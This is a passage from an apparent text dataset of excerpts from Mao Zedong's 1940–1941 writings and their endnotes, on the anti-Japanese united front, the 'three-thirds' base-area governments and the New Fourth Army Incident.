，反对汪精卫的伪政府，反对一切暗藏在抗日阵线中的汉奸和投降派。为了团结，就要反对分裂运动，反对内部磨擦，反对从抗日阵线后面进攻八路军、新四军和一切进步势力，反对破坏敌后的抗日根据地，反对破坏八路军的后方陕甘宁边区，反对不承认共产党的合法地位，反对雪片一样的“限制异党活动”的文件。为了进步，就要反对倒退，反对把三民主义和《抗战建国纲领》 〔2〕 束之高阁，反对不实行《总理遗嘱》上“唤起民众”的指示，反对把进步青年送进集中营，反对把抗战初期仅有的一点言论出版自由取消干净，反对把宪政运动变为少数人包办的官僚事业，反对在山西进攻新军、摧残牺盟和残杀进步人员 〔3〕 ，反对三民主义青年团在咸榆公路、陇海铁路一带拦路劫人 〔4〕 ，反对讨九个小老婆和发一万万元国难财的无耻勾当，反对贪官污吏的横行和土豪劣绅的猖獗。不这样做，没有团结和进步，所谓抗战只是空唤，抗日胜利是没有希望的。《新中华报》 〔5〕 第二年的政治方向是什么？就是强调团结和进步，以反对一切危害抗战的乌烟瘴气，以期抗日事业有进一步的胜利。 注 释 * 这是毛泽东为延安《新中华报》改版一周年纪念写的文章。 〔1〕 见本卷《克服投降危险，力争时局好转》注〔1〕。 〔2〕 见本卷《陕甘宁边区政府、第八路军后方留守处布告》注〔3〕。 〔3〕 在山西进攻新军的事件，见本卷《团结一切抗日力量，反对反共顽固派》注〔4〕。“牺盟”即“山西牺牲救国同盟会”，一九三六年九月成立。它是中国共产党倡议创建、并始终受共产党领导的群众抗日团体，在山西的抗日斗争中曾起了重大的作用。一九三九年十二月，阎锡山发动“晋西事变”，后并在晋东南等地的国民党中央军配合下，公开摧残牺盟会，许多共产党员、牺盟会的干部和群众中的进步分子，遭到残酷的杀害。 〔4〕 从一九三九年起，国民党用三民主义青年团“招待所”的名义，派遣特务，配合军队，在咸阳榆林公路和陇海铁路上设立许多封锁站口，截留出入陕甘宁边区的进步青年和知识分子，把他们送往集中营监禁残杀，或者强迫他们充当特务。 〔5〕 见本卷《和中央社、扫荡报、新民报三记者的谈话》注〔2〕。"},
    {"text": "新民主主义的宪政 新民主主义的宪政 * （一九四〇年二月二十日） 今天延安各界人民的代表人物在这里开宪政促进会的成立大会，大家关心宪政，这是很有意义的。"},
    {"text": "不去破坏这些坏东西，你就休想建设。 只有把这些东西破坏了，中国才有救，中国才能着手建设，否则不过是讲梦话而已。 只有破坏旧的腐朽的东西，才能建设新的健全的东西。"},
    {"text": "“为一般平民所共有，非少数人所得而私”，就是我们所说的新民主主义宪政的具体内容，就是几个革命阶级联合起来对于汉奸反动派的民主专政，就是今天我们所要的宪政。"},
    {"text": "你们也决不可相信，国民参政会 〔7〕 做了决议案，国民政府发了命令，十一月十二日召集了国民大会 〔8〕 ，颁布了宪法，甚至选举了大总统，就是百事大吉，天下太平了。"},
    {"text": "张伯伦过去一心一意想的是搬起希特勒这块石头，去打苏联人民的脚，但是，从去年九月德国和英法的战争爆发的一天起，张伯伦手上的石头却打到张伯伦自己的脚上了。"},
    {"text": "如果他们一定要的话，那他们就应该做好一个决议案，在这个决议案的第一条上写道：“为了决心消灭我们顽固分子自己和使共产党获得广大发展的机会起见，我们有反共反边区的任务。"},
    {"text": "〔3〕 一九二三年十月，北洋军阀曹锟用五千银元一票的价格贿买国会议员而被选为“大总统”，接着又颁布了由这些议员所制订的“中华民国宪法”。"},
    {"text": "〔7〕 国民参政会是一九三八年国民党政府成立的一个仅属咨询性质的机关，对国民党政府的政策措施没有任何约束权力。 参政员都是由国民党政府指定的，虽也包含了各抗日党派的一些代表，但是国民党员占大多数，而且国民党政府不承认各抗日党派的平等合法地位，也不让它们的代表以党派代表的身分参加国民参政会。"},
    {"text": "〔8〕 一九三九年九月国民参政会第一届第四次会议，根据中国共产党和其他党派民主人士的提议，通过了要求国民党政府明令定期召集国民大会实行宪政的决议。"},
    {"text": "抗日根据地的政权问题 抗日根据地的政权问题 * （一九四〇年三月六日） （一）目前是国民党反共顽固派极力反对我们在华北、华中等地建立抗日民主政权，而我们则必须建立这种政权，并已经可能在各主要的抗日根据地内建立这种政权的时候。我们和反共顽固派为政权问题在华北、华中和西北的斗争，带着推动全国建立统一战线政权的性质，为全国观感之所系，因此，必须谨慎地处理这个问题。 （二）在抗日时期，我们所建立的政权的性质，是民族统一战线的。这种政权，是一切赞成抗日又赞成民主的人们的政权，是几个革命阶级联合起来对于汉奸和反动派的民主专政。它是和地主资产阶级的反革命专政区别的，也和土地革命时期的工农民主专政有区别。对于这种政权性质的明确了解和认真执行，将大有助于全国民主化的推动。过左和过右，均将给予全国人民以极坏的影响。 （三）目前正在开始的召集河北参议会和选举河北行政委员会，是一件具有严重意义的事。同样，在晋西北，在山东，在淮河以北，在绥德、富县、陇东等地建立新的政权，也具有严重的意义。必须依照上述原则进行，力避过右和过左的倾向。目前更严重的是忽视争取中等资产阶级和开明绅士的“左”的倾向。 （四）根据抗日民族统一战线政权的原则，在人员分配上，应规定为共产党员占三分之一，非党的左派进步分子占三分之一，不左不右的中间派占三分之一。 （五）必须保证共产党员在政权中占领导地位，因此，必须使占三分之一的共产党员在质量上具有优越的条件。只要有了这个条件，就可以保证党的领导权，不必有更多的人数。所谓领导权，不是要一天到晚当作口号去高喊，也不是盛气凌人地要人家服从我们，而是以党的正确政策和自己的模范工作，说服和教育党外人士，使他们愿意接受我们的建议。 （六）必须使党外进步分子占三分之一，因为他们联系着广大的小资产阶级群众。我们这样做，对于争取小资产阶级将有很大的影响。 （七）给中间派以三分之一的位置，目的在于争取中等资产阶级和开明绅士。这些阶层的争取，是孤立顽固派的一个重要的步骤。目前我们决不能不顾到这些阶层的力量，我们必须谨慎地对待他们。 （八）对于共产党以外的人员，不问他们是否有党派关系和属于何种党派，只要是抗日的并且是愿意和共产党合作的，我们便应以合作的态度对待他们。 （九）上述人员的分配是党的真实的政策，不能敷衍塞责。为着执行这个政策，必须教育担任政权工作的党员，克服他们不愿和不惯同党外人士合作的狭隘性，提倡民主作风，遇事先和党外人士商量，取得多数同意，然后去做。同时，尽量地鼓励党外人士对各种问题提出意见，并倾听他们的意见。绝不能以为我们有军队和政权在手，一切都要无条件地照我们的决定去做，因而不注意去努力说服非党人士同意我们的意见，并心悦诚服地执行。 （十）上述人员数目的分配是一种大体上的规定，各地须依当地的实际情况施行，不是要机械地凑足数目字。最下层政权的成分可以酌量变通，防止地主豪绅钻进政权机关。政权建立已久的晋察冀边区、冀中区、太行山区和冀南区，应照此原则重新审查自己的方针。在建立新的政权时，一概照此原则。 （十一）抗日统一战线政权的选举政策，应是凡满十八岁的赞成抗日和民主的中国人，不分阶级、民族、男女、信仰、党派、文化程度，均有选举权和被选举权。抗日统一战线政权的产生，应经过人民选举。其组织形式，应是民主集中制。 （十二）抗日统一战线政权的施政方针，应以反对日本帝国主义，保护抗日的人民，调节各抗日阶层的利益，改良工农的生活和镇压汉奸、反动派为基本出发点。 （十三）对参加我们政权的党外人士的生活习惯和言论行动，不能要求他们和共产党员一样，否则将使他们感到不满和不安。 （十四）责成各中央局、各中央分局、各区党委、各军队首长，对党内作明确的说明，使此指示充分地实现于政权工作中。 注 释 * 这是毛泽东为中共中央起草的对党内的指示。"},
    {"text": "目前抗日统一战线中的策略问题 目前抗日统一战线中的策略问题 * （一九四〇年三月十一日） （一）目前的政治形势是（：1）日本帝国主义受了中国抗日战争的严重打击，已经无力再作大规模的军事进攻，因而敌我形势已处在战略相持阶段中；"},
    {"text": "（5）中间力量，包括中等资产阶级、开明绅士和地方实力派，因为他们和大地主大资产阶级的主要统治力量之间有矛盾，同时和工农阶级有矛盾，所以往往站在进步势力和顽固势力之间的中间立场。"},
    {"text": "而要达此目的，必须采取发展进步势力、争取中间势力、反对顽固势力的策略，这是不可分离的三个环节，而以斗争为达到团结一切抗日势力的手段。 在抗日统一战线时期中，斗争是团结的手段，团结是斗争的目的。 以斗争求团结则团结存，以退让求团结则团结亡，这一真理，已经逐渐为党内同志们所了解。"},
    {"text": "但不了解的依然还多，他们或者认为斗争会破裂统一战线，或者认为斗争可以无限制地使用，或者对于中间势力采取不正确的策略，或者对顽固势力有错误的认识，这些都是必须纠正的。"},
    {"text": "（三）发展进步势力，就是发展无产阶级、农民阶级和城市小资产阶级的力量，就是放手扩大八路军新四军，就是广泛地创立抗日民主根据地，就是发展共产党的组织到全国，就是发展全国工人、农民、青年、妇女、儿童等等的民众运动，就是争取全国的知识分子，就是扩大争民主的宪政运动到广大人民中间去。"},
    {"text": "只有一步一步地发展进步势力，才能阻止时局逆转，阻止投降和分裂，而为抗日胜利树立坚固不拔的基础。 但是发展进步势力，是一个严重的斗争过程，不但须同日本帝国主义和汉奸作残酷的斗争，而且须同顽固派作残酷的斗争。"},
    {"text": "因为对于发展进步势力，顽固派是反对的，中间派是怀疑的。 如不同顽固派作坚决的斗争，并收到确实的成效，就不能抵抗顽固派的压迫，也不能消释中间派的怀疑，进步势力就无从发展。"},
    {"text": "这些阶级，现在分为降日派和抗日派，以后还要逐渐分化。 目前的大资产阶级抗日派，是和降日派有区别的。 他们采取两面政策，一面尚在主张团结抗日，一面又执行摧残进步势力的极端反动政策，作为准备将来投降的步骤。"},
    {"text": "但又因为他们在全国普遍地执行摧残进步势力的反动政策，不实行革命三民主义这个共同纲领，还坚决反对我们实行这个纲领，坚决反对我们超越他们所许可的范围，即只让我们同他们一样实行消极抗战，并且企图同化我们，否则就加以思想上政治上军事上的压迫，所以我们又必须采取反抗他们这种反动政策的斗争策略，同他们作思想上政治上军事上的坚决斗争。"},
    {"text": "如果我们能够在思想上提出正确的革命理论，对于他们的反革命理论给以坚决的打击； 如果我们在政治上采取适合时宜的策略步骤，对于他们的反共反进步政策给以坚决的打击； 如果我们采取适当的军事步骤，对于他们的军事进攻给以坚决的打击；"},
    {"text": "那末，就有可能限制他们实施反动政策的范围，就有可能逼迫他们承认进步势力的地位，就有可能发展进步势力，争取中间势力，而使他们陷于孤立。"},
    {"text": "同时，也就有可能争取还愿抗日的顽固派，延长其留在抗日统一战线中的时间，就有可能避免如同过去那样的大内战。 所以，在抗日统一战线时期中，同顽固派的斗争，不但是为了防御他们的进攻，以便保护进步势力不受损失，并使进步势力继续发展； 同时，还为了延长他们抗日的时间，并保持我们同他们的合作，避免大内战的发生。"},
    {"text": "所以，同顽固派斗争，是团结一切抗日力量、争取时局好转、避免大规模内战的不可缺少的手段，这一真理，已被一切经验证明了。 但在抗日统一战线时期，同顽固派斗争，必须注意下列几项原则。"},
    {"text": "坚持这种有理、有利、有节的斗争，就能发展进步势力，争取中间势力，孤立顽固派，并使顽固派尔后不敢轻易向我们进攻，不敢轻易同敌人妥协，不敢轻易举行大内战。"},
    {"text": "（六）国民党是一个由复杂成分组成的党，其中有顽固派，也有中间派，也有进步派，整个国民党并不就等于顽固派。 因为国民党中央颁布《限制异党活动办法》 〔2〕 等等反革命磨擦法令，并实行动员他们一切力量进行普遍全国的思想上政治上军事上的反革命磨擦，有些人就以为整个国民党都是顽固派，这种看法是错误的。 现在的国民党中，顽固派还站在支配其党的政策的地位，但在数量上只占少数，它的大多数党员（很多是挂名党员）并不一定是顽固派。"},
    {"text": "在抗日统一战线政权中，对于共产党员以外的人员，应该不问他们有无党派关系及属于何种党派。 在抗日统一战线政权统治的区域，只要是不反对共产党并和共产党合作的党派，不问他们是国民党，还是别的党，应该允许他们有合法存在的权利。 抗日统一战线政权的选举政策，应该是凡满十八岁的赞成抗日和民主的中国人，不分阶级、民族、党派、男女、信仰和文化程度，均有选举权和被选举权。 抗日统一战线政权的产生应该由人民选举，然后陈请国民政府加委。"},
    {"text": "抗日统一战线政权的施政方针，应该以反对日本帝国主义，反对真正的汉奸和反动派，保护抗日人民，调节各抗日阶层的利益，改良工农生活，为基本出发点。 这种抗日统一战线政权的建立，将给全国以很大的影响，给全国抗日统一战线政权树立一个模型，因此应为全党同志所深刻了解并坚决执行。"},
    {"text": "（八）在发展进步势力，争取中间势力，孤立顽固势力的斗争中，知识分子的作用是不可忽视的，顽固派又正在极力争取知识分子，因此，争取一切进步的知识分子于我们党的影响之下，是一个必要的重大的政策。"},
    {"text": "（2）实行民族主义，坚决反抗日本帝国主义，对外求中华民族的彻底解放，对内求国内各民族之间的平等。 （3）实行民权主义，人民有抗日救国的绝对自由，民选各级政府，建立抗日民族统一战线的革命民主政权。"},
    {"text": "放手发展抗日力量，抵抗反共顽固派的进攻 放手发展抗日力量， 抵抗反共顽固派的进攻 * （一九四〇年五月四日） （一）在一切敌后地区和战争区域，应强调同一性，不应强调特殊性，否则就会是绝大的错误。 不论在华北、华中或华南，不论在江北或江南，不论在平原地区、山岳地区或湖沼地区，也不论是八路军、新四军或华南游击队 〔1〕 ，虽然各有特殊性，但均有同一性，即均有敌人，均在抗战。"},
    {"text": "所谓发展，就是不受国民党的限制，超越国民党所能允许的范围，不要别人委任，不靠上级发饷，独立自主地放手地扩大军队，坚决地建立根据地，在这种根据地上独立自主地发动群众，建立共产党领导的抗日统一战线的政权，向一切敌人占领区域发展。 例如在江苏境内，应不顾顾祝同、冷欣、韩德勤 〔2〕 等反共分子的批评、限制和压迫，西起南京，东至海边，南至杭州，北至徐州，尽可能迅速地并有步骤有计划地将一切可能控制的区域控制在我们手中，独立自主地扩大军队，建立政权，设立财政机关，征收抗日捐税，设立经济机关，发展农工商业，开办各种学校，大批培养干部。"},
    {"text": "（二）在国民党反共顽固派坚决地执行其防共、限共、反共政策，并以此为投降日本的准备的时候，我们应强调斗争，不应强调统一，否则就会是绝大的错误。 因此，对于一切反共顽固派的防共、限共、反共的法律、命令、宣传、批评，不论是理论上的、政治上的、军事上的，原则上均应坚决地反抗之，均应采取坚决斗争的态度。 这种斗争，应从有理、有利、有节的原则出发，也就是自卫的原则、胜利的原则和休战的原则，也就是目前每一具体斗争的防御性、局部性和暂时性。"},
    {"text": "只有向顽固派采取这种强硬态度和在斗争时采取有理、有利、有节的方针，才能使顽固派有所畏而不敢压迫我们，才能缩小顽固派防共、限共、反共的范围，才能强迫顽固派承认我们的合法地位，也才能使顽固派不敢轻易分裂。"},
    {"text": "我们的任务，是坚持地猛力地执行中央“发展进步势力”、“争取中间势力”、“孤立顽固势力”这三项唯一正确的方针，用以达到克服投降危险、争取时局好转的目的。"},
    {"text": "（四）四、五支队反对韩德勤、李宗仁向皖东进攻的自卫战争，李先念纵队反对顽固派向鄂中和鄂东进攻的自卫战争，彭雪枫支队在淮北的坚决斗争，叶飞在江北的发展，以及八路军二万余人南下淮北、皖东和苏北 〔8〕 ，均不但是绝对必要和绝对正确的，而且是使顾祝同不敢轻易地在皖南、苏南向你们进攻的必要步骤。"},
    {"text": "同样，八路军、新四军和华南游击队，在西北、华北、华中、华南愈发展，共产党在全国范围内愈发展，则克服投降危险争取时局好转的可能性愈增加，我党在全国的文章就愈好做。"},
    {"text": "如果采取相反的估计和策略，以为我愈发展，彼愈投降，我愈退让，彼愈抗日，或者以为现在已经是全国分裂的时候，国共合作已经不可能，那就是错误的了。"},
    {"text": "其与顽固派斗争的策略，是在有理、有利、有节的原则下，利用国民党一切可以利用的法律、命令和社会习惯所许可的范围，稳扎稳打地进行斗争和积蓄力量。"},
    {"text": "在一切国民党区域，党的基本方针，同样是发展进步势力（发展党的组织和民众运动），争取中间势力（民族资产阶级、开明绅士、杂牌军队、国民党内的中间派、中央军中的中间派 〔10〕 、上层小资产阶级和各小党派，共七种），孤立顽固势力，用以克服投降危险，争取时局好转。"},
    {"text": "东南局 〔11〕 和各省委、各特委、各县委、各区委的工作人员（从书记至伙夫），应该一个一个地加以严格的和周密的审查，决不容许稍有嫌疑的人留在各级领导机关之内。 应十分注意保护干部，凡有被国民党捕杀危险的公开或半公开了的干部，应转移地区荫蔽起来，或调至军队中工作。"},
    {"text": "在毛泽东为中央起草这个指示的时期，中共中央委员、中共中央东南局书记项英的思想中存在着严重的右倾观点，没有坚决实行中央的方针，不敢放手发动群众，不敢在日本占领地区扩大解放区和人民军队，对国民党的反动进攻的严重性认识不足，因而缺乏对付这个反动进攻的精神上和组织上的准备。"},
    {"text": "他对于国民党的可能的反动进攻，仍然不作准备，以致在一九四一年一月间蒋介石发动皖南事变时处于软弱无能的地位，使在皖南的新四军九千余人遭受覆灭性的损失，项英亦被反动分子所杀。"},
    {"text": "〔1〕 华南游击队，是中国共产党领导的当时广东省几支抗日游击队的总称。 后来发展为：东江纵队、琼崖纵队、珠江纵队、韩江纵队、粤中人民抗日解放军、南路人民抗日解放军。"},
    {"text": "〔5〕 一九四〇年春，国民党安徽省政府主席李品仙、第五战区司令长官李宗仁（均属桂系），派军队向在安徽、湖北抗日的新四军发动大规模进攻。"},
    {"text": "当时新四军江北指挥部指挥张云逸、豫鄂挺进纵队司令员李先念，都曾经强硬地抗议他们破坏抗日的行为，并且在军事上进行了坚决的自卫斗争。"},
    {"text": "〔8〕 一九四〇年三月，中共中央为增援新四军在淮北、皖东和苏北的抗日斗争，打退国民党军队向新四军的进攻，命令八路军调遣部队南下。 同年夏，南下部队二万余人到达豫皖苏边区，与彭雪枫领导的新四军第六支队和八路军陇海南进支队等会合，先后编为八路军第四、第五纵队，开辟了苏北淮海抗日根据地。"},
    {"text": "〔10〕 “国民党内的中间派”和“中央军中的中间派”，指抗日战争时期，在一定时间内对反共不很积极，或者当反共顽固派向中国共产党领导的军队进攻的时候采取中立态度的国民党内的某些派别和某些个人，中央军中的某些军官或个别部队。"},
    {"text": "团结到底 团结到底 * （一九四〇年七月五日） 抗日战争的三周年，正是中国共产党的十九周年。我们共产党人今天来纪念抗战，更感到自己的责任。中华民族的兴亡，是一切抗日党派的责任，是全国人民的责任，但在我们共产党人看来，我们的责任是更大的。我党中央已发表了对时局的宣言，这个宣言的中心是号召抗战到底，团结到底。这个宣言希望得到友党友军和全国人民的赞同，而一切共产党员尤其必须认真地执行这个宣言中所示的方针。 一切共产党员须知：只有抗战到底，才能团结到底，也只有团结到底，才能抗战到底。因此，共产党员要作抗战的模范，也要作团结的模范。我们所反对的，只是敌人和坚决的投降分子、反共分子，对其他一切人，都要认真地团结他们。而所谓坚决的投降分子、反共分子，在任何地方都只占少数。我调查了一个地方政府的成分，在那里办事的有一千三百人，其中坚决反共的只有四十至五十人，即是说，不足百分之四，其余都是希望团结抗战的。我们对于坚决的投降分子和反共分子，当然是不能容忍的，对他们容忍，就是让他们破坏抗战，破坏团结；所以必须坚决反对投降派，对于反共分子的进攻必须站在自卫立场上坚决地打退之。如果我们不是这样做，那就是右倾机会主义，是对于团结抗战不利的。但对于凡非坚决投降和坚决反共的人，则必须采取团结政策。其中有些人是两面派，有些人是被迫的，又有些人是一时之错，对于这些人都应争取他们，继续团结抗战。如果我们不是这样做，那就是“左”倾机会主义，也是对于团结抗战不利的。一切共产党员须知：我们发起了抗日民族统一战线，我们必须坚持这个统一战线。现在国难日深，世界形势大变，中华民族的兴亡，我们要负起极大的责任来。我们一定要战胜日本帝国主义，我们一定要把中国造成独立、自由、民主的共和国；而要达此目的，必须团结全国最大多数有党有派和无党无派的人。共产党人不许可同人家建立无原则的统一战线，因此，必须反对所谓溶共、限共、防共、制共的一套，必须反对党内的右倾机会主义。但同时，任何共产党员也不许可不尊重党的统一战线政策，因此，一切共产党员必须在抗日原则下团结一切尚能抗日的人，必须反对党内的“左”倾机会主义。 为此目的，在政权问题上，我们主张统一战线政权，既不赞成别的党派的一党专政，也不主张共产党的一党专政，而主张各党、各派、各界、各军的联合专政，这即是统一战线政权。共产党员在敌人后方消灭敌伪政权建立抗日政权之时，应该采取我党中央所决定的“三三制”，不论政府人员中或民意机关中，共产党员只占三分之一，而使其他主张抗日民主的党派和无党派人士占三分之二。无论何人，只要不投降不反共，均可参加政府工作。任何党派，只要是不投降不反共的，应使其在抗日政权下面有存在和活动之权。 在军队问题上，我党宣言中已表明：继续执行“不在一切友军中发展党的组织”的决定。某些地方党部尚未严格执行此决定的，应即加以纠正。凡不向八路军新四军举行军事磨擦的军队，应一律采取友好态度。即对某些举行过磨擦的军队，在其停止了磨擦之时，亦应恢复友好关系。这就是在军队问题上实行统一战线政策。 其他财政、经济、文化、教育、锄奸各方面的政策，为着抗日的需要，均必须从调节各阶级利益出发，实行统一战线政策，均必须一方面反对右倾机会主义，一方面反对“左”倾机会主义。 目前的国际形势，是帝国主义战争正向世界范围内扩大，由帝国主义战争所造成的极端严重的政治危机和经济危机，将必然引起许多国家革命的爆发。我们是处在战争和革命的新时代。没有卷入帝国主义战争漩涡的苏联，是全世界一切被压迫人民和被压迫民族的援助者。这些都是有利于中国抗战的。但同时，日本帝国主义正在准备向南洋侵略，加紧向中国进攻，势将勾引中国一部分动摇分子对其投降，投降危险是空前地加重了。抗战的第四周年将是最困难的一年。我们的任务是团结一切抗日力量，反对投降分子，战胜一切困难，坚持全国抗战。一切共产党员必须和友党友军团结一致去完成这个任务。我们相信，在我党全体党员和友党友军及全体人民共同努力之下，克服投降，战胜困难，驱除日寇，还我河山的目的，是能够达到的，抗战的前途是光明的。 注 释 * 这是毛泽东为延安《新中华报》写的纪念抗日战争三周年的文章。"},
    {"text": "尤其是土地革命的后期，由于不认识中国革命是半殖民地的资产阶级民主革命和革命的长期性这两个基本特点而产生的许多过左的政策，例如以为第五次“围剿”和反对第五次“围剿”的斗争是所谓革命和反革命两条道路的决战，在经济上消灭资产阶级（过左的劳动政策和税收政策）和富农（分坏田），在肉体上消灭地主（不分田），打击知识分子，肃反中的“左”倾，在政权工作中共产党员的完全独占，共产主义的国民教育宗旨，过左的军事政策（进攻大城市和否认游击战争），白区工作中的盲动政策，以及党内组织上的打击政策等等 〔1〕 ，不但在今天抗日时期，一概不能采用，就是在过去也是错误的。 这种过左政策，适和第一次大革命后期陈独秀领导的右倾机会主义 〔2〕 相反，而表现其为“左”倾机会主义的错误。"},
    {"text": "现在的抗日民族统一战线政策，既不是一切联合否认斗争，又不是一切斗争否认联合，而是综合联合和斗争两方面的政策。 具体地说，就是： （一）一切抗日的人民联合起来（或一切抗日的工、农、兵、学、商联合起来），组成抗日民族统一战线。"},
    {"text": "（七）对于反共顽固派是革命的两面政策，即对其尚能抗日的方面是加以联合的政策，对其坚决反共的方面是加以孤立的政策。 在抗日方面，顽固派又有两面性，我们对其尚能抗日的方面是加以联合的政策，对其动摇的方面（例如暗中勾结日寇和不积极反汪反汉奸等）是进行斗争和加以孤立的政策。 顽固派在反共方面也有两面性，因此我们的政策也有两面性，即在他们尚不愿在根本上破裂国共合作的方面，是加以联合的政策；"},
    {"text": "将这种两面派分子，和汉奸亲日派加以区别。 （八）即在汉奸亲日派中间也有两面分子，我们也应以革命的两面政策对待之。 即对其亲日的方面，是加以打击和孤立的政策，对其动摇的方面，是加以拉拢和争取的政策。 将这种两面分子，和坚决的汉奸如汪精卫 〔3〕 、王揖唐 〔4〕 、石友三 〔5〕 等，加以区别。 （九）既须对于反对抗日的亲日派大地主大资产阶级和主张抗日的英美派大地主大资产阶级，加以区别； 又须对于主张抗日但又动摇、主张团结但又反共的两面派大地主大资产阶级和两面性较少的民族资产阶级和中小地主、开明绅士，加以区别。"},
    {"text": "虽然共产党是反对任何帝国主义的，但是既须将侵略中国的日本帝国主义和现时没有举行侵略的其他帝国主义，加以区别； 又须将同日本结成同盟承认“满洲国”的德意帝国主义，和同日本处于对立地位的英美帝国主义，加以区别； 又须将过去采取远东慕尼黑政策 〔6〕 危害中国抗日时的英美，和目前放弃这个政策改为赞助中国抗日时的英美，加以区别。"},
    {"text": "我们则应加以区别，第一是苏联和资本主义各国的区别，第二是英美和德意的区别，第三是英美的人民和英美的帝国主义政府的区别，第四是英美政策在远东慕尼黑时期和在目前时期的区别。"},
    {"text": "我们的根本方针和国民党相反，是在坚持独立战争和自力更生的原则下尽可能地利用外援，而不是如同国民党那样放弃独立战争和自力更生去依赖外援，或投靠任何帝国主义的集团。"},
    {"text": "党内许多干部对于策略问题上的片面观点和由此而来的过左过右的摇摆，必须使他们从历史上和目前党的政策的变化和发展，作全面的统一的了解，方能克服。"},
    {"text": "在国民党统治区和各抗日根据地内，由于只知道联合、不知道斗争和过分地估计了国民党的抗日性，因而模糊了国共两党的原则差别，否认统一战线下的独立自主的政策，迁就大地主大资产阶级，迁就国民党，甘愿束缚自己的手足，不敢放手发展抗日革命势力，不敢对国民党的反共限共政策作坚决斗争，这种右倾观点，过去曾经严重地存在过，现在已经基本上克服了。"},
    {"text": "一切有收入的人民，除对最贫苦者应该规定免征外，百分之八十以上的居民，不论工人农民，均须负担国家赋税，不应该将负担完全放在地主资本家身上。"},
    {"text": "对敌军、伪军、反共军的俘虏，除为群众所痛恶、非杀不可而又经过上级批准的人以外，应一律采取释放的政策。 其中被迫参加、多少带有革命性的分子，应大批地争取为我军服务，其他则一律释放；"},
    {"text": "应规定一切不反对抗日的地主资本家和工人农民有同等的人权、财权、选举权和言论、集会、结社、思想、信仰的自由权，政府仅仅干涉在我根据地内组织破坏和举行暴动的分子，其他则一律加以保护，不加干涉。"},
    {"text": "当然不应该在我主力军中实行“三三制”，但是只要军队的领导权掌握在我党手里（这是完全必需的，不能动摇的），便不怕吸收大量同情分子来参加军事部门和技术部门的建设。 在我党我军的思想基础和组织基础已经巩固地建设成功的现在时期，大量地吸收同情分子（当然决不是破坏分子），不但没有危险，而且非此不能争取全国同情和扩大革命势力，所以是必要的政策。"},
    {"text": "在日寇加紧侵略中国和国内大地主大资产阶级实行反共反人民的高压政策和军事进攻的时候，惟有实行上述各项策略原则和具体政策，才能坚持抗日，发展统一战线，获得全国人民的同情，争取时局好转。"},
    {"text": "一九三九年后，他任国民党第三十九集团军总司令，在河北省南部和山东省西南部专门联合日本军队进攻八路军，摧残抗日民主政权，屠杀共产党员和进步分子。"},
    {"text": "为皖南事变发表的命令和谈话 为皖南事变发表的命令和谈话 （一九四一年一月二十日） 中国共产党 中央革命军事委员会命令 国民革命军新编第四军抗战有功，驰名中外。"},
    {"text": "除对亲日派破坏抗日、袭击人民军队、发动内战之滔天罪行，另有处置外，兹特任命陈毅为国民革命军新编第四军代理军长，张云逸为副军长，刘少奇为政治委员，赖传珠为参谋长，邓子恢为政治部主任。 着陈代军长等悉心整饬该军，团结内部，协和军民，实行三民主义，遵循《总理遗嘱》，巩固并扩大抗日民族统一战线，为保卫民族国家、坚持抗战到底、防止亲日派袭击而奋斗。"},
    {"text": "（五）任命汤恩伯、李品仙、王仲廉、韩德勤等为华中各路“剿共”军司令官，以李宗仁为最高总司令，向新四军彭雪枫、张云逸、李先念诸部实行进攻，得手后，再向山东和苏北的八路军新四军进攻，而日军则加以密切的配合。"},
    {"text": "（十三）日军将原驻华中华南的兵力向华北增加，最残酷地进攻八路军，与国民党军队合作，全部消灭八路军新四军； （十四）除一刻也不放松对于八路军新四军进攻之外，在各战场上的国民党军队和日军继续去年的休战状态，以便转到完全停战议和的局面；"},
    {"text": "中国共产党中央曾于前年七月七日的宣言上指出：投降是时局最大的危险，反共是投降的准备步骤。 在去年七月七日的宣言中则说：“空前的投降危险和空前的抗战困难，已经到来了。"},
    {"text": "在目前的时机下，欲改变发令者此种决心似已甚难，非有全国人民的紧急努力和国际外交方面的重大压力，改变决心的事，恐怕是不可能的。 故目前全国人民的紧急任务，在于以最大的警惕性，注视事变的发展，准备着对付任何黑暗的反动局面，绝对不能粗心大意。"},
    {"text": "日寇和亲日派的计划即使实现，我们中国共产党和中国人民，不但有责任，而且自问有能力，挺身出来收拾时局，决不让日寇和亲日派横行到底。"},
    {"text": "时局不论如何黑暗，不论将来尚须经历何种艰难道路和在此道路上须付何等代价（皖南新四军部队就是代价的一部分），日寇和亲日派总是要失败的。"},
    {"text": "（五）帝国主义战争现时已到发生大变化的前夜，一切依靠帝国主义过活的寄生虫，不论如何蠢动于一时，他们的后台总是靠不住的，一旦树倒猢狲散，全局就改观了。"},
    {"text": "关于新四军，中国共产党中央革命军事委员会已于一月二十日下了命令，任命陈毅为代理军长，张云逸为副军长，刘少奇为政治委员，赖传珠为参谋长，邓子恢为政治部主任。"},
    {"text": "〔2〕 “皓”“齐”两电，是蒋介石以国民政府军事委员会参谋总长何应钦、副参谋总长白崇禧的名义，在一九四〇年十月十九日（皓）和十二月八日（齐）发出的两个电报。"},
    {"text": "中共中央为顾全大局，挽救危亡，以第十八集团军总司令朱德、副总司令彭德怀和新四军军长叶挺、副军长项英的名义，于十一月九日（佳）电复何、白，除据实驳斥《皓电》的造谣外，同意将江南新四军部队移至长江以北。"},
    {"text": "〔4〕 西北封锁线，指国民党反动派包围陕甘宁边区的封锁线。 在皖南事变前夜，国民党在边区周围已经修筑了五道包括沟墙和碉堡的封锁线，西起甘肃、宁夏，南沿泾水，东迄黄河，绵亘数省。"},
    {"text": "打退第二次反共高潮后的时局 打退第二次反共高潮后的时局 * （一九四一年三月十八日） （一）从何白《皓电》（去年十月十九日）开始的第二次反共高潮 〔1〕 ，至皖南事变和蒋介石一月十七日命令 〔2〕 达到了最高峰；而三月六日蒋介石的反共演说和参政会的反共决议 〔3〕 ，则是此次反共高潮的退兵时的一战。时局可能从此暂时走向某一程度的缓和。处于世界两大帝国主义集团进行着有决定意义的斗争的前夜，依然和日寇对立着的中国英美派大资产阶级，不能不对目前紧张的国共关系，谋取暂时的和轻微的缓和。同时，国民党内部的情况（中央和地方之间， CC系和政学系 〔4〕 之间， CC系和复兴系 〔5〕 之间，顽固派和中间派之间，皆有矛盾， CC系内部和复兴系内部又各有矛盾），国内的情况（广大人民反对国民党的专横，同情共产党）和我党的政策（继续抗议运动），均不容许国民党在国共间继续过去五个月那样的紧张关系。故目前谋取暂时的轻微的缓和是蒋介石所需要的。 